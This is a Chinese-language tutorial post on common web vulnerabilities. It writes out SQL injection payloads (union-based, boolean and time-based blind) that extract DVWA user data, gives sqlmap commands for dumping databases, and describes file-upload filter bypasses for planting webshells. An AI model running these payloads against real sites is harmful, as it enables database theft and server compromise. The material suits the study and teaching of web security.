常见web漏洞原理整理

2023-11-04

一、SQL注入

1.1SQL注入漏洞原理

  Web应用程序对用户输入数据的合法性没有判断,前端传入后端的参数时攻击者可控的,并且参数带入数据库查询,攻击者可以通关构造不同的SQL语句来实现对数据库的任意操作。
  本质:把用户输入的数据当作代码执行,违背了"数据与代码分离"的原则。

1.2 SQL注入的两个关键点

  • 参数用户可控:前端 传入后端的参数内容是用户可以控制的。
  • 参数带入数据库查询:传入的参数拼接到SQL语句,且带入数据库查询。

1.3 与Mysql注入相关的知识点

  在Mysql 5.0 版本之后,Mysql默认在数据库中存在一个Information_schema数据库,这个数据库里面存在两张表。一个是tables表,里面存有所有的表名和数据库名;另一个是columns表,里面存有所有的字段名,字段所属的表名,字段所属的库名。以下是关于Information_schema数据库的拓扑图:
在这里插入图片描述

1.4 SQL注入的主要分类

(1)注入点类型

  • 字符型注入
  • 数字型注入

(2)按照执行效果

  • 普通SQL注入:页面上有回显。
  • 盲注:布尔盲注(只会返回两种页面)、时间盲注(页面会延迟一段时间才显示)

1.5 SQL注入的流程

1.5.1 普通SQL注入

  1. 判断是否存在SQL注入漏洞
  2. 判断是字符型注入还是数字型注入
  3. 判断(查询结果)字段数
  4. 查看回显点
  5. 查看数据库名
  6. 查看表名
  7. 查看字段名
  8. 查看字段内容

1.5.2 盲注

  1. 判断是否存在SQL注入漏洞
  2. 判断是字符型注入还是数字型注入
  3. 判断(查询结果)字段数
  4. 猜数据库名长度、猜数据库名
  5. 猜表的个数、逐个猜表名
  6. 逐一猜表中的字段个数、长度、名称
  7. 猜字段内容

1.6 SQL注入总结

  1. 判断是否存在SQL注入
	id=1' #   //参数后加单引号,报错,说明有注入点
  1. 判断字符型注入还是数字型注入
    在这里插入图片描述
	id=1 and 1=1 # //正确
	id=1 and 1=2 # //错误,说明是数字型注入,否则为字符型注入
  1. 普通SQL注入实例
	id=1' #   //报错,说明有注入点
	id=1 and 1=1 # //正确
	id=1 and 1=2 # //错误,说明是数字型注入,否则为字符型注入

	id=1 order by <数字> # //判断字段数
	id=1 union select 1,2,3, ... #   //查看回显点
	id=1 union select 1,2,database(), ... #   //查看数据库名
	id=1 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='数据库名') #   //查看表名
	id=1 union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='数据库名' and table_name='表名' #  //查看字段名
	id=1 union select 1,(select group_concat(concat(字段1,'%23',字段2)) from 数据库名.表名) #   //查看字段内容
  1. 布尔盲注实例
	id=1' # //报错,说明有注入点
	id=1 and 1=1 # //正确
	id=1 and 1=2 # //错误,说明是数字型注入,否则为字符型注入
	
	id=1 and length(database())=1 # //判断数据库名长度
	id=1 and ascii(substr(database(),1,1))=98 # //猜数据库名
	id=1 and (select count(table_name) from information_schema.tables where table_schema=database())=1 # // 猜表的个数
	id=1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),0,1))=103 # // 猜第一个表名的长度
	id=1 and (select+count(column_name) from information_schema.columns where table_schema=database() and table_name='users')=8 # // 猜user表中的字段个数
	id=1 and length((select column_name from information_schema.columns where table_name='users' limit 0,1))=7 # //猜user表中第一个字段的长度
	id=1 and ascii(substr((select column_name from+information_schema.columns where table_name='users' limit 0,1),1,1))=117 # //猜user表中第一个字段的第一个字母
	id=1 and length((select user from dvwa.users limit 0,1))=5 # // 猜user表中user字段内容的长度
	id=1 and ascii(substr((select user from dvwa.users limit 0,1),1,1))=97 # //猜user表中中user字段值的首字母
  1. 时间盲注实例
	id=1 and sleep(5) # //数字型则等待5秒
	id=1' and sleep(5) # //字符型则等待5秒
	id=1 and if(length(database())=4,sleep(5),1) # //猜数据库名长度
	id=1 and if(ascii((substr(database(),1,1)))=100,sleep(5),1) # //猜数据库名
	id=1 and if(select count(table_name) from information_schema.tables where table_schema=database(),sleep(5),1)=1 # // 猜表的个数
	id=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),0,1))=103,sleep(5),1) # // 猜第一个表名的长度
	id=1 and if((select+count(column_name) from information_schema.columns where table_schema=database() and table_name='users')=8,sleep(5),1) # // 猜user表中的字段个数
	id=1 and if(length((select column_name from information_schema.columns where table_name='users' limit 0,1))=7,sleep(5),1) # //猜user表中第一个字段的长度
	id=1 and if(ascii(substr((select column_name from+information_schema.columns where table_name='users' limit 0,1),1,1))=117,sleep(5),1) # //猜user表中第一个字段的第一个字母
	id=1 and if(length((select user from dvwa.users limit 0,1))=5,sleep(5),1) # // 猜user表中user字段内容的长度
	id=1 and if(ascii(substr((select user from dvwa.users limit 0,1),1,1))=97,sleep(5),1) # //猜user表中中user字段值的首字母
  1. Sqlmap的用法
sqlmap
sqlmap -u "url"  //-u选项是检测注入点
sqlmap -u "url" --dbs  //--dbs选项是列出所有数据库名
sqlmap -u "url" --current-db  //--current-db选项是列出当前数据库的名字
sqlmap -u "url" -D "数据库名" --tables //-D是指定一个数据库  --tables是列出这个数据库的所有表名
sqlmap -u "url" -D "数据库名" -T "表名" --columns //-T是指定表名  --columns是列出所有的字段名
sqlmap -u "url" -D "数据库名" -T "表名" -C "字段名" --dumo //-C是指定字段  --dumo是列出字段内容

二、文件上传

2.1 文件上传漏洞原理

  上传文件时,如果服务器端未对客户端上传的文件进行严格的验证和过滤。就容易造成可以上传任意文件的情况,包括上传脚本文件(asp、php、jsp等格式的文件)。

2.2 客户端检测及绕过(JS检测与绕过)

  客户端(Client):或称为用户端(前端),与服务器相对应。由于客户端对于文件上传漏洞的防御是通过JS代码实现的,所以客户端检测与绕过也称为JS检测与绕过。

  由于后端PHP代码没有对文件做任何检测,所以只要绕过前端JS的校验就可以上传WebShell。绕过方法:

  • 删除浏览器事件;
  • 禁用JS;
  • 利用BurpSuite抓包修改文件后缀名。

2.3 服务端检测

2.3.1 后缀名检测与绕过

(1)黑名单绕过

  1. 名单列表绕过
      有些中间件允许解析其他文件后缀名,如asa、cer之类的或在httpd.conf配置文件中,配置如下代码,则能解析php、php3、phtml文件,所以上传一个后缀名为php3、phptml的文件即可。
    在这里插入图片描述
  2. Windows特性
      一些特殊的文件名命名方式在windows下是不被允许的,利用BurpSuite抓包修改后缀名,绕过验证后上传文件,windows会自动去掉后面添加的,但要注意Unix/Linux系统没有这个特性。比如:
  • 末尾的点(.) 如1.php.
  • 空格( ),如1.php
  • :: D A T A ,如 ‘ 1. p h p : : DATA,如`1.php:: DATA,如‘1.php::DATA`

(2)白名单绕过
白名单绕过需要配合文件包含漏洞或者解析漏洞。

(3).htaccess文件攻击

  .htaccess文件是Apache服务器中的分布式配置文件(IIS中不存在该文件),该配置文件会覆盖Apache服务器的全局配置,作用于当前目录及其子目录。

  • 如果一个web应用允许上传.htaccess文件,那就意味着攻击者可以更改Apche的配置。

  在httpd.conf配置文件中,AllowOverride参数就是指明Apache服务器是否去找**.htacess**文件作为配置文件,如果设置为none,那么服务器将忽略.htacess文件;如果设置为All,那么所有在.htaccess文件里有的指令都将被重写,即允许.htaccess文件覆盖掉Apache 的配置。

(4)APahce解析机制
  Apche解析机制:从右往左开始解析文件后缀,若后缀名不可识别,则继续判断直到遇到可解析的后缀为止。

2.3.2 MIME类型检测与绕过

  MIME (Multipurpose Internet Mail Extensions) 是描述消息内容类型的因特网标准。MIME 消息能包含文本、图像、音频、视频以及其他应用程序专用的数据。常见的MIME 类型如下:

文件拓展名 Mime-Type
.js application/x-javascript
.html test/html
.jpg image/jpeg
.png image/png
.pdf application/pdf

2.3.3 文件内容检测与绕过

检测原理
  利用getimagesize()函数获取图片的宽高等信息,如果上传的不是图片,那么则获取不到信息。服务端主要检测文件幻数:

类型 文件幻数
JPG FF D8 FF E0 00 10 4A 46 49 46
GIF 47 49 46 38 39 61 (GIF89a)
PNG 89 50 4E 47

绕过方式
  在脚本文件开头补充图片对应的头部值,或在图片后写入脚本代码
在这里插入图片描述

2.3.4 00截断检测与绕过

检测原理
  截断漏洞出现的核心就是chr(0),这个字符不为空 (Null),也不是空字符 (" "),更不是空格。当程序在输出含有 chr(0)变量时,chr(0)后面的数据会被停止,换句话说,就是误把它当成结束符,后面的数据直接忽略,这就导致了漏洞产生。由于00代表结束符,PHP会把00后面的所有字符删除。

截断条件
  PHP版本小于5.3.4、magic_quotes_gpc 为OFF状态。

2.3.5 条件竞争检测与绕过

检测原理
  一些网站文件检测逻辑是先允许上传任意文件,然后检查文件内容是否包含可执行脚本,如果包含则删除。

绕过方式
  利用成功上传到删除文件的时间差,上传一个.php文件,在未删除之前立即访问,则会自动生成一个新php文件,新文件不会被删除。

…未完待续

三、CSRF

四、SSRF

五、反序列化漏洞

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

常见web漏洞原理整理 的相关文章

  • ubuntu挂载Windows共享文件夹

    1 windows下设置shared文件夹为共享文件夹 2 linux下执行命令 sudo apt get install cifs utils samba client sudo mount t cifs o username dhc p
  • linux下搭建测试环境

    linux应用服务器 腾讯云服务器 centos7 传送文件上传到 linux服务器 winscp 文件传输工具 jdk及tomcat安装 本服务器安装的是jkd1 8 tomcat8 mysql 5 7 下载jkd1 8 https ww
  • Mysql在大型网站的应用架构演变

    摘要 本文主要描述在网站的不同的并发访问量级下Mysql架构的演变历程 架构的可扩展性往往和并发是息息相关 没有并发的增长 也就没有必要做高可扩展性的架构 常用的扩展手段主要有Scale up和Scale out两种 前者为纵向扩展 主要通
  • Java八大基本数据类型

    Java八大基本数据类型 开发工具与关键技术 MyEclipse 10 java 作者 刘东标 撰写时间 2019 04 04 Java语言提供了八种基本类型 六种数字类型 四个整数型 两个浮点型 一种字符类型 还有一种布尔型 1 数据类型
  • Windows下创建进程简介

    正在执行的应用程序称为进程 进程不仅仅是指令和数据 它还有状态 状态是保存在处理器寄存器中的一组值 如当前执行指令的地址 保存在内存中的值 以及唯一定义进程在任一时刻任务的所有其他值 进程与应用程序的一个重要的区别在于 进程运行时 进程的状
  • Linux笔记:文本编辑器vi基础使用

    文章目录 目的 工作模式 命令行模式 默认模式 光标移动 屏模滚动 选择复制黏贴与删除 搜索与替换 撤销与重复 插入模式 总结 目的 vi是几乎所有Unix Linux系统下都自带的文本编辑器 有点类似于window上的记事本 如果用惯了现
  • Sophus库的安装和使用教程

    本系列文章为原创 转载请注明出处 作者 Dongdong Bai 邮箱 baidongdong nudt edu 若您觉得本博文对您有帮助 请您为我点赞并关注我 以鼓励我写出更优秀的博文 谢谢 一 Sophus库简介 Eigen库是一个开源
  • 读spi_flash的id

    读SPI FLASH的ID 在上一课中spi i2c adc OLED文件夹下添加spi flash c及spi flash h文件 并添加到si工程中 明确目的 在main函数中调用函数读取spiflash的厂家ID和设备ID 并打印 明
  • MySQL 数据表创建详细SQL语法

    Table 数据表创建 数据表创建 语法规则1 CREATE TEMPORARY TABLE IF NOT EXISTS tbl name create definition table options partion options 语法
  • gitlab 安装,libc.so.6: version `GLIBC_2.25‘ not found

    背景 ubuntu 16 04 以及 ubuntu18 05 安装 gitlab 都报错误 opt gitlab embedded bin ruby lib x86 64 linux gnu libc so 6 version GLIBC

随机推荐

  • 深度优先遍历(邻接矩阵,邻接表)

    深度优先遍历也称为深度优先搜索 简称为DFS 深度优先遍历的思路是从图中某个顶点V出发 访问此顶点 然后从V的未被访问过的邻接点出发深度优先遍历图 直到图中所有与V路径相通的顶点都被访问到 该遍历过程用到递归 深度优先遍历用到了一个辅助数组
  • Caffe中的优化方法

    在Deep Learning中 往往loss function是非凸的 没有解析解 我们需要通过优化方法来求解 Caffe通过协调的进行整个网络的前向传播推倒以及后向梯度对参数进行更新 试图减小损失 Caffe已经封装好了三种优化方法 分别
  • TypeError: ‘builtin_function_or_method‘ object is not subscriptable解决办法

    python报 TypeError builtin function or method object is not subscriptable 这个错 大概率是因为括号用错了 比如应该用圆括号 用成了方括号 或者缺少括号 应检查括号是否使
  • 进阶项目(12)PS2键盘驱动程序设计讲解

    写在前面的话 我们从小就开始接触电脑 曾经多么羡慕那些在键盘上洋洋洒洒的人 手指轻柔的飞舞 刻画出一章章美丽的篇幅 那么作为工程师的我们 同样拥有着属于我们的情怀 如果曾经的向往变成我们喜欢的玩具 如果曾经的神秘变成我们夜以继日的痴迷 那么
  • 【转】C/C++中的 mutable、volatile 关键字作用详解

    mutable和volatile 很少遇到这两个关键字 学嵌入式估计知道后者 深入研究 C 的估计知道前者 1 mutable 在 C 中 mutable 是为了突破 const 的限制而设置的 被 mutable 修饰的变量 将永远处于可
  • Error: Cannot find module ‘webpack/lib/rules/BasicEffectRulePlugin‘

    目录 出错现象 出错原因 解决方案 出错现象 这个报错是我在安装webpack vue loader的配置中遇到的 如果你不是这个背景请绕行 不然可能无法解决你的问题 主要是安装了npm i vue loader plugin save d
  • #pragma once与 #ifndef的区别

    为了避免同一个文件被include多次 可以采用两种方法 1 ifndef方式2 pragma once方式在能够支持这两种方式的编译器上 二者并没有太大的区别 但是两者仍然还是有一些细微的区别 方式一 ifndef SOMEFILE H
  • matlab 小波分析实例,小波分析MATLAB实例

    小波分析MATLAB实例 由会员分享 可在线阅读 更多相关 小波分析MATLAB实例 7页珍藏版 请在人人文库网上搜索 1 到小波分析1 背景传统的信号理论 是建立在Fourier分析基础上的 而Fourier变换作为一种全局性的变化 其有
  • GitLab安装配置教程-Docker方式安装

    文章目录 一 安装 二 配置 三 使用 四 SSH连接方式 五 Http连接方式 参考文档 一 安装 环境准备 CentOS 7 6 Minimal 192 168 73 140 Docker 20 10 12 创建一个目录用于存放日志 配
  • zabbix详解(十二)——zabbix监控MySQL主从状态实战

    今天继续给大家介绍Linux运维相关知识 本文主要内容是zabbix监控MySQL主从同步状态 本文旨在配置实现zabbix对MySQL主从同步状态的监控 并且当MySQL主从同步状态宕机后 进行邮件报警 一 MySQL主从配置 关于MyS
  • Java版PPT处理控件Aspose.Slides迎来v19.12升级!轻松创建旭日图并调整样式

    Aspose Slides for Java是独特的演示处理API 使应用程序能够读取 编写 修改和转换PowerPoint演示文稿 作为独立的API 它提供了管理PowerPoint关键功能的功能 例如管理文本 形状 表格和动画 向幻灯片
  • RFID门禁系统

    RFID门禁系统 前言 一 RFID射频 二 功能演示 三 我们使用的硬件和软件 三 使用步骤 1 新建工程 2 程序 总结 前言 这一个RFID项目主要是通过RC522模块来达到智能识别ID卡 RFID卡 通过识别ID卡号从而实现门禁的功
  • 歌尔股份2021年报:AR/VR、游戏主机成主要营收来源

    过去1年中 Quest 2 Neo 3等VR一体机愈加流行 关注度越来愈高 与此同时 作为AR VR产业ODM厂商 在声光电多方面积极部署的歌尔优势正在显现 根据歌尔2021年报中显示 AR VR 游戏主机等智能硬件业务业绩大涨 已经成为营
  • Windows共享文件夹

    Windows共享文件夹 将服务器相应磁盘设置为共享式 本机可远程访问服务器 共享到本地 注意 将服务器相应磁盘设置为共享式 这里E已经是共享式 将D也设置为共享式 Desktop erps210 d 本机可远程访问服务器 将本机和服务器的
  • NUC980开源项目3-硬件进度

    上面是我的微信和QQ群 欢迎新朋友的加入 今天已下单 外观上和参考电路是一致的 不过我把走线改了下 可能是EDA下载的时候 有些数据乱了 不能搞到原版文件 3D效果
  • Java面试题--网络

    当你用浏览器打开一个链接的时候 计算机做了哪些工作步骤 1 解析域名 2 发起TCP的3次握手 3 建立TCP请求后发起HTTP请求 4 服务器相应HTTP请求 5 浏览器得到HTML代码 进行解析和处理JSON数据 并请求HTML代码中的
  • htmlspecialchars详解

    1 首先看下面的代码 你运行一下会发现显示完全正确 显示为 This is br text 你查看源代码会发现 This is lt br gt text htmlspecialchars 的作用就是显示完全正确 但是源码改变 具体改变规则
  • Redis的5种基本数据类型

    一 什么是Redis 在介绍redis的五种数据类型之前 我们要知道什么是redis redis是英文Remote Dictionary Server的缩写 也就是远程字典服务 它是一个开源的使用ANSI C语言编写的 支持网络 可基于内存
  • 数据库中的表关系

    1 一对一关系实例 假设现在有两张表 一个是妻子表 一个是丈夫表 这两张表很明显存在一对一的关系 存在两张表A和B 分别添加主键 在其中一张表当中设置外键关联另一张表当中的主键 2 一对多关系实例 一对多表关系当中 一方的表称为主表 多表的
  • 常见web漏洞原理整理

    文章目录 一 SQL注入 1 1SQL注入漏洞原理 1 2 SQL注入的两个关键点 1 3 与Mysql注入相关的知识点 1 4 SQL注入的主要分类 1 5 SQL注入的流程 1 5 1 普通SQL注入 1 5 2 盲注 1 6 SQL注